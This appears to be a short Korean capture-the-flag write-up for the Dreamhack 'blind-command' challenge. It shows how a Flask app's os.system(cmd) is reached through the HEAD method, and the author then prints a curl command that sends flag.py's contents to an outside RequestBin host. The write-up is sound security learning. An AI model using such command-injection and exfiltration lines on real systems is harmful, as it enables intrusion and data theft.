blind-command


소스코드 분석

app.py

  • GET 요청을 보내 / 경로 접근하면 index() 함수가 호출된다.
  • GET 요청 시에는 cmd 파라미터에 임의 값을 넣어 보낼 수 있다.
  • GET 요청만 허용되어 있기 때문에 os.system(cmd) 라인 실행이 불가능해 보인다.

  • OPTIONS 메서드로 서버에 요청을 보내면 허용된 HTTP 메서드를 확인할 수 있다.
    • GET, HEAD, OPTIONS

  • HEAD 메서드도 GET 메서드처럼 파라미터를 보낼 수 있는데, 응답 헤더 값만 반환되기 때문에 바디 값을 확인할 수 없었다.
  • 드림핵에서는 접속한 브라우저의 요청/응답 정보를 확인할 수 있는 Request Bin 사이트를 제공하고 있다.
  • 이를 이용하면 대상 호스트 8000번 포트로 요청한 응답이 RequestBin URL로 응답이 가게 된다.

  • “Request Bin” URL로 요청을 보내고 응답 값을 확인해보겠다.

  • 응답 바디 값을 확인해볼 수 있다.
    • app.py, flag.py, requirements.txt

  • flag.py 파일을 출력하여 플래그를 확인했다.
    • curl https://inegzdq.request.dreamhack.games -d "$(cat flag.py)

🐛.. 🐛.. 🐛..